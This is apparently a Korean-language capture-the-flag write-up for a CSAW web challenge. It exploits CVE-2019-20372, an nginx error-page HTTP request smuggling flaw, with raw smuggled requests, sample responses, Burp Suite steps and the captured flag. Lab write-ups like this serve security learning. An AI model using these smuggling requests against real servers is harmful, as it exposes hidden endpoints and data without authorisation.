Don't you know it's wrong to smuggle dinosaurs... and other things?
웹페이지가 나오는데 home, hint, flag?가 있다.
일단은 Hint라고 적힌 곳을 누르면 주소가 hint로 넘어간다. hint 페이지를 보면 server 이름과 버전을 알려주면 힌트를 준다고 한다.
서버 이름과 버전은 개발자도구를 이용하면 쉽게 알 수 있다.
서버 이름과 버전을 입력하면 힌트를 알려준다.
힌트에 정보를 확인하면 이 사이트에 CVE-2019-20372 취약점이 있다는 것을 알 수 있다.
CVE-2019-20372 취약점은 nginx 1.17.7 이전 버전의 취약점으로 error page를 이용해서 http request smugging을 할 수 있는 거 같다.
예시 코드를 확인하면 error page가 이런 식으로 이뤄져 있는 경우
입력을 이런 식으로 받으면
GET /a HTTP/1.1
Host: localhost
Content-Length: 56
GET /_hidden/index.html HTTP/1.1
Host: notlocalhost
값을 이런 식으로 받을 수 있다고 한다.
HTTP/1.1 302 Moved Temporarily
Server: nginx/1.17.6
Date: Fri, 06 Dec 2019 18:23:33 GMT
Content-Type: text/html
Content-Length: 145
Connection: keep-alive
Location: http://example.org
<html>
<head><title>302 Found</title></head>
<body>
<center><h1>302 Found</h1></center>
<hr><center>nginx/1.17.6</center>
</body>
</html>
HTTP/1.1 200 OK
Server: nginx/1.17.6
Date: Fri, 06 Dec 2019 18:23:33 GMT
Content-Type: text/html
Content-Length: 22
Connection: keep-alive
This should be hidden!
원리가 프론트엔드와 백엔드의 차이로 인해 이런 현상이 난다고 하는데 좀 더 찾아봐야 할 거 같다.
일단 burpsuite의 repeater를 이용해서 /flag
를 본다.
request부분에 Connection을 close에서 keep-alive로 바꾸고 아래에 이것을 적는다.
GET /flag.txt HTTP/1.1
Host: localhost:3009
그러면 아래 부분이 request sumgging이 되면서 플래그를 획득할 수 있다.
csawctf{d0nt_smuggl3_Fla6s_!}